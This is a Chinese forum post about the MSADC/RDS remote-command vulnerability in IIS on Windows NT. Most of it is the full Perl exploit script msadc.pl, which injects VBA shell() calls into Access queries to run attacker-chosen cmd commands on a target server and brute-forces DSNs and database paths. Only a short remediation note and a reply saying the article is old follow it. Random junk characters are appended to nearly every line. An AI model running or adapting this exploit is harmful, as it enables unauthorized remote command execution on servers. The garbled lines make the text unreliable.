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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GlYly5F  
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涉及程序: Pe7e ?79  
Microsoft NT server D@54QJ<  
J\co1kO9/  
描述: n@>wwp  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $^%N U  
ETw]! br  
详细: t%0?N<9YkU  
如果你没有时间读详细内容的话,就删除: I*)VZW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >9K//co"of  
有关的安全问题就没有了。 #;r]/)>  
0&w0a P`Y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 }p3b#fAr  
rzLd"`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 gSi5u# }J  
关于利用ODBC远程漏洞的描述,请参看: HMQI&Lh=U  
ZW4aY}~)$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm mf$j03tu  
YcM;S  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +&v\ /  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0{rx.C7|  
hSV@TL  
这里不再论述。 W Ox_y,  
 @|A|  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: khX|" d360  
#a~"K|' G  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ? Nj)6_&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! F9o6V|v  
L:f)i,S"5q  
mV\$q@sII  
#将下面这段保存为txt文件,然后: "perl -x 文件名" e- 6w8*!i  
#6> 6S;Ib  
#!perl &y. dmW  
# a-0cN 9  
# MSADC/RDS 'usage' (aka exploit) script C8b''9t.  
# ?[1SiJT  
# by rain.forest.puppy +oy*Kxs7  
# ;Rnhe_A.  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me )iE"Tl  
# beta test and find errors! BSUPS+@+  
T_hV%   
use Socket; use Getopt::Std; !C&%T]  
getopts("e:vd:h:XR", \%args); Z5)eREi=  
R 1zC.m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 7>.OVh<  
! q6hC  
if (!defined $args{h} && !defined $args{R}) { `lCuU~~ag  
print qq~ I0w%8bs  
Usage: msadc.pl -h <host> { -d <delay> -X -v } U6j/BJT"  
-h <host> = host you want to scan (ip or domain) ^X1wI9V  
-d <seconds> = delay between calls, default 1 second &d^=s iL  
-X = dump Index Server path table, if available %$X\"  
-v = verbose Xa,&ef&q  
-e = external dictionary file for step 5 ^X? D#\  
Ie_I7YJ  
Or a -R will resume a command session 3:`XG2'  
*8A6Q9YT  
~; exit;} /^<en(0=P  
!D:k!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,)#.a%EKA  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zY APf &5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /6tcSg)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3'#%c>_  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 8 njuDl  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } X#J6Umutm  
\lr/;-zP  
if (!defined $args{R}){ $ret = &has_msadc; __\P`S_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} rw u3Nb  
*o4%ul\3Y|  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" A~71i&  
. "cmd /c "; ZgYZwc&-  
$in=<STDIN>; chomp $in; 'D6 bmz  
$command="cmd /c " . $in ; qo;)X0 N  
~[18q+,  
if (defined $args{R}) {&load; exit;} 8&(-8  
4XG]z_+I  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; VXC4%  
&try_btcustmr; %$n02"@  
dr]&kqm  
print "\nStep 2: Trying to make our own DSN..."; &HF]\`RNr  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _}=E^/;(  
i^g~~h F  
print "\nStep 3: Trying known DSNs..."; $I8[BYblB  
&known_dsn; &9P<qU^N)  
a@ W7<9fY;  
print "\nStep 4: Trying known .mdbs..."; OlGR<X  
&known_mdb; r%-n*_?.s  
TA;,>f*  
if (defined $args{e}){ uBeNXOre  
print "\nStep 5: Trying dictionary of DSN names..."; n t HT  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } " i`8l.Lc  
>]/dOH,A  
print "Sorry Charley...maybe next time?\n";  P\(30  
exit; Lk nVqZ|k  
iZTa>@   
############################################################################## %V_eJC""?  
mw+j|{[  
sub sendraw { # ripped and modded from whisker h$&rE@N|  
sleep($delay); # it's a DoS on the server! At least on mine... FAtWsk*pgY  
my ($pstr)=@_; \R Z3Hh  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y4<+-  
die("Socket problems\n"); qS]G&l6QF  
if(connect(S,pack "SnA4x8",2,80,$target)){ (#u{ U=  
select(S); $|=1; ,+-h7^{`  
print $pstr; my @in=<S>; G8P+A1 f/>  
select(STDOUT); close(S); SCq3Ds^  
return @in; /djACA  
} else { die("Can't connect...\n"); }} 7^wE$7hS  
cjY@Ot*i$  
############################################################################## 4A  o{M  
;1E_o  
sub make_header { # make the HTTP request 9[{sEg=C$e  
my $msadc=<<EOT 3^~Zj95M  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Czh8zB+r  
User-Agent: ACTIVEDATA Mjw[:70  
Host: $ip {PmzkT}LF  
Content-Length: $clen .0 X$rX=  
Connection: Keep-Alive lC{L6&T  
04\Ta  
ADCClientVersion:01.06 ..$>7y}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 a7 )@BzF#  
R0IF'  
--!ADM!ROX!YOUR!WORLD! ?N _)>&b  
Content-Type: application/x-varg  T{Hf P  
Content-Length: $reqlen Oga1u  
,\>g  
EOT n)CH^WHL&  
; $msadc=~s/\n/\r\n/g; 88YC0!Ni  
return $msadc;} _LsYMUe  
BvJ\x)  
############################################################################## ^0eO\wc?O  
ybYXD?  
sub make_req { # make the RDS request -x?Hj/  
my ($switch, $p1, $p2)=@_; D(@SnI+  
my $req=""; my $t1, $t2, $query, $dsn; \E&thp  
Zh? V,39  
if ($switch==1){ # this is the btcustmr.mdb query .h6Y< E  
$query="Select * from Customers where City=" . make_shell(); wRi~Yb?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . T>5wQYh$'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} lb95!.av+I  
)<Ob  
elsif ($switch==2){ # this is general make table query |VYr=hjo  
$query="create table AZZ (B int, C varchar(10))"; I1v@\Rb  
$dsn="$p1";} NYwGK|  
w(#:PsMo<  
elsif ($switch==3){ # this is general exploit table query j]Ua\|t  
$query="select * from AZZ where C=" . make_shell(); ]!-R<[b 6  
$dsn="$p1";} f~iML5lG  
1O4D+0@  
elsif ($switch==4){ # attempt to hork file info from index server Vy r] x  
$query="select path from scope()"; w'XSb.\)_m  
$dsn="Provider=MSIDXS;";} v C-[#]<  
T7s+9CE  
elsif ($switch==5){ # bad query 2_I+mQ  
$query="select"; -G!6U2*#  
$dsn="$p1";} `|JI\&z  
I*9Gb$]=  
$t1= make_unicode($query); K"I{\/x@  
$t2= make_unicode($dsn); D/*vj|  
$req = "\x02\x00\x03\x00"; (I!1sE!?1  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2X^iV09  
$req.= "\x00\x00" . $t1 ; fGo_NB  
$req.= "\x08\x00" . pack ("S1", length($t2)); kp.|gzA6  
$req.= "\x00\x00" . $t2 ; G\uU- z$)  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; W n6,U=$3  
return $req;} IY~ {)X  
$Uy#/MX  
############################################################################## H! #5!m&  
A` =]RJ  
sub make_shell { # this makes the shell() statement 4a1BGNI%SW  
return "'|shell(\"$command\")|'";} v$Dh.y  
^X$ I=ro  
############################################################################## T 77)Np  
[e1\A&T  
sub make_unicode { # quick little function to convert to unicode g\qX7nIH?  
my ($in)=@_; my $out; jigbeHRy  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } y]MWd#U  
return $out;} [ns&Y0Y`t  
^Jn|*?+l  
############################################################################## <G&WYk%u*  
~V!EtZG$  
sub rdo_success { # checks for RDO return success (this is kludge) L#[HnsLp_  
my (@in) = @_; my $base=content_start(@in); #'#4hJ*YC  
if($in[$base]=~/multipart\/mixed/){ Vj29L?3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} [KD}U-(Wg  
return 0;} g8Ok ^  
A?\h|u<  
############################################################################## D`8E-Bq  
;g6 nHek  
sub make_dsn { # this makes a DSN for us V02309Y  
my @drives=("c","d","e","f"); & 8zk3  
print "\nMaking DSN: "; /Ql6]8.P  
foreach $drive (@drives) { BzN/6VEw  
print "$drive: "; h!ZZ2[  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }1l}-w`F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" h)"'YzCt  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `Uu^I   
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; So0`c,D  
return 0 if $2 eq "404"; # not found/doesn't exist twAw01".  
if($2 eq "200") {  n})  
foreach $line (@results) { bn5"dxV  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "tpvENz2s  
} return 0;} HW^{;'kH~  
{c.}fyN  
############################################################################## F>p%2II/  
7l[t9ON  
sub verify_exists { ,^Ex}Z  
my ($page)=@_; gGF$M `  
my @results=sendraw("GET $page HTTP/1.0\n\n"); RJQ/y3  
return $results[0];} 9 Wxq)  
V=:,]fTr  
############################################################################## c"6Kd$?M  
M|5^':Y  
sub try_btcustmr { }S Y`KoC1  
my @drives=("c","d","e","f"); Rh5@[cg%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #1gTpb+t  
e&r+w!  
foreach $dir (@dirs) { f J,8g/f8  
print "$dir -> "; # fun status so you can see progress Yk(NZ3O  
foreach $drive (@drives) { +3(CGNE  
print "$drive: "; # ditto w;yar=n  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :==UDVP  
$reqlenlen=length( "$reqlen" ); (\5<GCW-  
$clen= 206 + $reqlenlen + $reqlen; Fo--PtY`p  
2n<qAl$t  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); FZ;Y vdX6  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &e5^v  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} oY| (M_;  
T#ecLD#  
############################################################################## ?)i6:76(  
3?-V>-[G_  
sub odbc_error { C{lB/F/|!  
my (@in)=@_; my $base; B{=,VwaP_  
my $base = content_start(@in); #)Id J]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /jn:e"0~  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9}7oKlyk  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; oW` *FD  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~8S4Kj)%  
return $in[$base+4].$in[$base+5].$in[$base+6];} @DjG? yLK$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ;1Tpzm  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . qX}dbuDE"P  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} i1kh@s~8UC  
>xk:pL*o`  
############################################################################## m"k i*9]  
`0-m`>1>  
sub verbose { lSKv*  
my ($in)=@_; aG8;,H=%,  
return if !$verbose; @idp8J [td  
print STDOUT "\n$in\n";} pD)/- Dgdm  
Lt ZWs0l0  
############################################################################## `s]zk {x  
*HfW(C$  
sub save { $ET/0v"V  
my ($p1, $p2, $p3, $p4)=@_; iz$v8;w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; `OF g.R|  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %E=,H?9&>  
close OUT;} Y?q*hS0!H  
~S~x@&yR  
############################################################################## q, 19NZ  
}tg:DG  
sub load { h3vm< R;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?PH}b?f4  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); }][|]/s?42  
@p=<IN>; close(IN); &bRxy`ZH  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 0 Ci"tA3"  
$target= inet_aton($ip) || die("inet_aton problems"); #h|,GvmF<b  
print "Resuming to $ip ..."; `qy6 qKl N  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^?l-YnQqm?  
if($p[1]==1) { 4N^Qd3[d  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; r5$?4t  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; [n@!=T  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ?5+KHG*)  
if (rdo_success(@results)){print "Success!\n";} 7Q4Pjc D  
else { print "failed\n"; verbose(odbc_error(@results));}} 6d?2{_},  
elsif ($p[1]==3){ 'V*M_o(\  
if(run_query("$p[3]")){ F(kRAe;  
print "Success!\n";} else { print "failed\n"; }} B7QtB3bn  
elsif ($p[1]==4){ 0jx~_zq-j  
if(run_query($drvst . "$p[3]")){ R<YYf^y  
print "Success!\n"; } else { print "failed\n"; }} M5bj |tQ4  
exit;} )@&?i.  
QR-R5XNT[  
############################################################################## kl<B*:RqH  
'V1 -iJj9  
sub create_table { H<}Fk9  
my ($in)=@_; c#-97"_8  
$reqlen=length( make_req(2,$in,"") ) - 28; 7&S|y]$~  
$reqlenlen=length( "$reqlen" ); |$-d, ] V  
$clen= 206 + $reqlenlen + $reqlen; IgnY* 2FT  
my @results=sendraw(make_header() . make_req(2,$in,"")); o[+|n[aT)3  
return 1 if rdo_success(@results); \:)o'-   
my $temp= odbc_error(@results); verbose($temp); 2\8\D^   
return 1 if $temp=~/Table 'AZZ' already exists/; W;9X*I8f8  
return 0;} WT? U~.U  
[LEh  
############################################################################## |~vQ0D  
<$Kv^Y*  
sub known_dsn { uF|ix.R6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go qc4 "0Ap'  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", hb\Y)HSp/  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", wuCtg=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Zkep7L   
cNB$g )`  
foreach $dSn (@dsns) {  V# %spW  
print "."; %Yn)t3d  
next if (!is_access("DSN=$dSn")); 0\<-R  
if(create_table("DSN=$dSn")){  s !vROJ  
print "$dSn successful\n"; p?NjxQLA  
if(run_query("DSN=$dSn")){ }EG(!)u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7%FZXsD  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \@t5S  
^"#rDP"v  
############################################################################## a~TZ9yg+HL  
:|mkI#P.  
sub is_access { E"yf!*  
my ($in)=@_; tLXw&hFk`g  
$reqlen=length( make_req(5,$in,"") ) - 28; ASU\O3%%  
$reqlenlen=length( "$reqlen" ); >o= p5#{  
$clen= 206 + $reqlenlen + $reqlen; WQC6{^/4[1  
my @results=sendraw(make_header() . make_req(5,$in,"")); Cbs4`D,  
my $temp= odbc_error(@results); $OoN/^kv  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ld:alEo  
return 0;} N2s%p6RMPD  
6'! {0 5=m  
############################################################################## Q9tE^d+%  
qFbUM;  
sub run_query { )0MshgM  
my ($in)=@_; })vr*[  
$reqlen=length( make_req(3,$in,"") ) - 28; E?U]w0g  
$reqlenlen=length( "$reqlen" ); u(WQWsN  
$clen= 206 + $reqlenlen + $reqlen; >ImM~SR)  
my @results=sendraw(make_header() . make_req(3,$in,"")); 1t=X: ]0j  
return 1 if rdo_success(@results); dU^<7 K:S  
my $temp= odbc_error(@results); verbose($temp); ATp  6-  
return 0;} 4 xzJql  
~9YA!48  
############################################################################## L#q9_-(#  
: ";D.{||  
sub known_mdb { bMOM`At>z  
my @drives=("c","d","e","f","g"); h^$}1[  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (H%d]  
my $dir, $drive, $mdb; Ilu`b|%D  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q)xl$*g  
H-KwkH`L4  
# this is sparse, because I don't know of many h21(K}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", E816 YS='  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @EOR] ^?!]  
"\\system32\\certmdb.mdb", 1za'u_  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% aX'g9E  
zQ %z "tQ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 2*wO5v  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  >fA@tUQB  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \"`>-v"h  
"\\cfusion\\cfapps\\security\\realm_.mdb", UAXF64w{  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  `pd   
"\\cfusion\\database\\cfexamples.mdb", GKujDx+h  
"\\cfusion\\database\\cfsnippets.mdb", jl-Aos"/  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", JBEgiQ/  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", W%9K5(e  
"\\cfusion\\brighttiger\\database\\cleam.mdb", K0RYI69_  
"\\cfusion\\database\\smpolicy.mdb", 6 #x)W  
"\\cfusion\\database\cypress.mdb", Ld3Bi2d|  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", X$|TN+Ub  
"\\website\\cgi-win\\dbsample.mdb", Pn'(8bRm  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", nB@iQxcz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p@7i=hyt`p  
); #these are just }8F$& AFt  
foreach $drive (@drives) { "i{_<;p O  
foreach $dir (@dirs){ x1V2|~;p|  
foreach $mdb (@sysmdbs) { ~d7Wjn$@  
print "."; feI[M;7u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Z~phOv  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; FO(0D?PCR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %6IlE.*,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ,*nZf|  
} else { print "Something's borked. Use verbose next time\n"; }}}}} U|Z>SE<k  
2~&hstd%  
foreach $drive (@drives) { O? Gl4_y  
foreach $mdb (@mdbs) { ZkB6bji  
print "."; &I}T<v{f  
if(create_table($drv . $drive . $dir . $mdb)){ Ue g N-n  
print "\n" . $drive . $dir . $mdb . " successful\n"; 2}Z4a\YX  
if(run_query($drv . $drive . $dir . $mdb)){ h-b5   
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Y7kb1UG  
} else { print "Something's borked. Use verbose next time\n"; }}}} !V]MLA`  
} L;--d`[  
v :+8U[x  
############################################################################## U%^eIXV|  
I)XOAf$6  
sub hork_idx { ;]&~D +XH  
print "\nAttempting to dump Index Server tables...\n"; bQdSX8: !R  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5Q$r@&qp  
$reqlen=length( make_req(4,"","") ) - 28; u JQaHL!  
$reqlenlen=length( "$reqlen" ); 5&?KW)6 Rz  
$clen= 206 + $reqlenlen + $reqlen; K(Q]&&<  
my @results=sendraw2(make_header() . make_req(4,"","")); zD)IU_GWa  
if (rdo_success(@results)){ .@i0U  
my $max=@results; my $c; my %d; Q$3\ /mz  
for($c=19; $c<$max; $c++){ p]h*6nH>~  
$results[$c]=~s/\x00//g; =CjNtD2]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $h 08Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Gin_E&%g  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; YA"Ti9-EV  
$d{"$1$2"}="";} %kK ][2e  
foreach $c (keys %d){ print "$c\n"; } +^4BO`   
} else {print "Index server doesn't seem to be installed.\n"; }} c/<Sa|'  
bB:r]*_ s]  
############################################################################## 3`fJzS%O  
+HOCVqx  
sub dsn_dict { :WK"-v  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); n^iNo  
while(<IN>){ M[YTk=IM#  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; gV"qV   
next if (!is_access("DSN=$dSn")); <G~} N  
if(create_table("DSN=$dSn")){ af<NMgT2s~  
print "$dSn successful\n"; ceFsGdS  
if(run_query("DSN=$dSn")){ (odR'#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h"%|\o+3  
print "Something's borked. Use verbose next time\n";}}} yV:EK{E  
print "\n"; close(IN);} :DdBn.  
_{LN{iqDv  
############################################################################## yn/?= ?0  
I*A0?{  
sub sendraw2 { # ripped and modded from whisker 'yPCZ`5H(  
sleep($delay); # it's a DoS on the server! At least on mine...  <+AIt  
my ($pstr)=@_; nT.L}1@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || hWD !  
die("Socket problems\n"); Q_&}^  
if(connect(S,pack "SnA4x8",2,80,$target)){ [G{rHSK5tQ  
print "Connected. Getting data"; tZaD${  
open(OUT,">raw.out"); my @in; OUEI~b1  
select(S); $|=1; print $pstr; \{c,,th  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (Wd_G-da  
close(OUT); select(STDOUT); close(S); return @in; p?+lAbe6H  
} else { die("Can't connect...\n"); }} P?9nTG  
UL86-R!  
############################################################################## B4]AFRI  
T-4/d5D[  
sub content_start { # this will take in the server headers -DTB6}kw  
my (@in)=@_; my $c; `]*%:NZP@  
for ($c=1;$c<500;$c++) { ]g{hhP3>  
if($in[$c] =~/^\x0d\x0a/){ hi!L\yi  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } C%giv9a  
else { return $c+1; }}} wYZT D*A2h  
return -1;} # it should never get here actually C=fsJ=a5;  
)^4ko  
############################################################################## 3gb|x?  
J+Q+&-a  
sub funky { P!kw;x  
my (@in)=@_; my $error=odbc_error(@in); drW~)6Lr@  
if($error=~/ADO could not find the specified provider/){ H@V 7!d  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; exfm q  
exit;} v#  
if($error=~/A Handler is required/){ Z+g1~\  
print "\nServer has custom handler filters (they most likely are patched)\n"; p6`Pp"J_tr  
exit;} !7}IqSs  
if($error=~/specified Handler has denied Access/){ *yJ[zXXjJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; l0I}&,+  
exit;}} 6yY.!HRkr  
rJ'/\Hh5P  
############################################################################## 7 _`L$<-n  
KkEv#2n  
sub has_msadc { {9L5Q  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); MhNFW'_  
my $base=content_start(@results); pe9@N9_5  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U#bl=%bF  
return 0;} #?dUv#  
$[g_=Z  
######################## g?B3!,!9  
cB#nsu>  
$(ewk):  
解决方案: &-M]xo ^  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ({4]  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *:_P8G;  
vfcb:x  
拿出来充数 哈哈
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